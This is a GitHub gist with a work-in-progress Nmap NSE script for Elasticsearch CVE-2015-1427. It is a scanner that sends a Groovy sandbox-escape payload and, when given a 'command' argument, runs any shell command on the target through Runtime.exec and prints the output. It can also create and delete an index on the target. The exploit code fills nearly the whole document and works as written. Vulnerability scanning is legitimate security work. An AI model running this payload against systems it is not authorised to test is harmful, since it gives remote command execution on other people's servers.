Skip to content

Instantly share code, notes, and snippets.

@dmiller-nmap
Created March 13, 2015 19:17
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save dmiller-nmap/207089882b237d3434ad to your computer and use it in GitHub Desktop.
Save dmiller-nmap/207089882b237d3434ad to your computer and use it in GitHub Desktop.
WIP NSE script to detect cve-2015-1427
local http = require "http"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"
local vulns = require "vulns"
local json = require "json"
local base64 = require "base64"
description = [[
A simple script based on the exploit mentioned here :
http://carnal0wnage.attackresearch.com/2015/03/elasticsearch-cve-2015-1427-rce-exploit.html
The vulnerability allows an attacker to construct Groovy scripts that escape the sandbox and
execute shell commands as the user running the Elasticsearch Java VM
]]
---
-- @args command enter the shell command to be executed
-- tries to fetch the os details by default
-- @args invasive if set to true then creates an index incase one is not present.
-- @usage
-- nmap --script=http-vuln-cve2015-1427 --script-args command='ls' <targets>
--
--@output
-- | http-vuln-cve2015-1427:
-- | VULNERABLE:
-- | ElasticSearch CVE-2015-1427 RCE Exploit
-- | State: VULNERABLE (Exploitable)
-- | IDs: CVE:CVE-2015-1427
-- | Risk factor: High
-- | Description:
-- | The vulnerability allows an attacker to construct Groovy scripts that escape the sandbox and execute
-- | shell commands as the user running the Elasticsearch Java VM.
-- | Exploit results:
-- | bin
-- | config
-- | data
-- | lib
-- | LICENSE.txt
-- | logs
-- | NOTICE.txt
-- | README.textile
-- |
-- | References:
-- | https://github.com/elastic/elasticsearch/issues/9655
-- | https://jordan-wright.github.io/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/
-- | http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1427
-- |_ http://carnal0wnage.attackresearch.com/2015/03/elasticsearch-cve-2015-1427-rce-exploit.html
-- ISSUE : if index not present you need to rerun the script :/
--created 13/3/15
author = "Gyanendra Mishra"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"vuln", "intrusive"}
portrule = shortport.port_or_service(9200, "http", "tcp")
local function parseResult(parsed)
-- for commands that return printable results : -
if parsed.hits.hits[1] and parsed.hits.hits[1].fields and parsed.hits.hits[1].fields.exploit[1] then
return parsed.hits.hits[1].fields.exploit[1]
end
-- mkdir(etc) command seems to work but as it returns no result
if parsed.hits.total > 0 then
return "Likely vulnerable. Command entered gave no output to print. Use without command argument to ensure vulnerability."
end
return false
end
action = function(host, port)
local command = stdnse.get_script_args(SCRIPT_NAME .. ".command")
local invasive = stdnse.get_script_args(SCRIPT_NAME .. ".invasive")
local payload = {
size= 1,
query= {
match_all= {}
},
script_fields= {
exploit= {
lang= "groovy",
-- This proves vulnerability because the fix was to prevent access to
-- .class and .forName
script= '"ElasticSearch version: "+\z
java.lang.Math.class.forName("org.elasticsearch.Version").CURRENT+\z
"\\n Java version: "+\z
java.lang.Math.class.forName("java.lang.System").getProperty("java.version")'
}
}
}
if command then
payload.script_fields.exploit.script = string.format(
'java.lang.Math.class.forName("java.util.Scanner").getConstructor(\z
java.lang.Math.class.forName("java.io.InputStream")).newInstance(\z
java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec(\z
%s).getInputStream()).useDelimiter("highlyunusualstring").next()',
json.generate(command))
end
local json_payload = json.generate(payload)
local vuln_table = {
title = "ElasticSearch CVE-2015-1427 RCE Exploit",
state = vulns.STATE.NOT_VULN,
risk_factor = "High",
references = {
'http://carnal0wnage.attackresearch.com/2015/03/elasticsearch-cve-2015-1427-rce-exploit.html',
'https://jordan-wright.github.io/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/',
'https://github.com/elastic/elasticsearch/issues/9655'
},
IDS = {
CVE = 'CVE-2015-1427'
},
description = [[The vulnerability allows an attacker to construct Groovy
scripts that escape the sandbox and execute shell commands as the user
running the Elasticsearch Java VM.]]
}
local report = vulns.Report:new(SCRIPT_NAME, host, port)
local cleanup = function() return end
local nocache = {no_cache=true, bypass_cache=true}
-- check if it is indexed, if not create index
local response = http.get(host,port,'_cat/indices', nocache)
if response.status ~= 200 then
stdnse.print_debug(1, "Service does not appear to be ElasticSearch")
return nil
elseif response.body == '' then
if invasive then
local rand = string.lower(stdnse.generate_random_string(8))
cleanup = function()
local r = http.generic_request(host, port, "DELETE", ("/%s"):format(rand))
if response.status ~= 200 or not ("acknowledged.*true"):match(response.body) then
stdnse.print_debug(1, "Could not delete index created by invasive script-arg")
end
end
local data = { [rand] = rand }
response = http.put(host,port,('%s/%s/1'):format(rand, rand),nil,json.generate(data))
if not(response.status == 201) then
stdnse.print_debug(1, "Didnt have any index. Creating index failed.")
return nil
end
stdnse.sleep(5) -- search will not return results immediately
else
stdnse.print_debug(1,"Not Indexed. Try the invasive option ;)")
return nil
end
end
--execute the command
local target = '_search'
response = http.post(host,port,target,nil,nil,(json_payload))
if not(response.body) or not(response.status==200) then
cleanup()
return nil
else
local status,parsed = json.parse(response.body)
if ( not(status) ) then
stdnse.print_debug(1,"JSON not parsable.")
cleanup()
return nil
end
--if the parseResult function returns something then lets go ahead..
local results = parseResult(parsed)
if results then
vuln_table.state = vulns.STATE.EXPLOIT
vuln_table.exploit_results = results
end
end
cleanup()
return report:make_output(vuln_table)
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment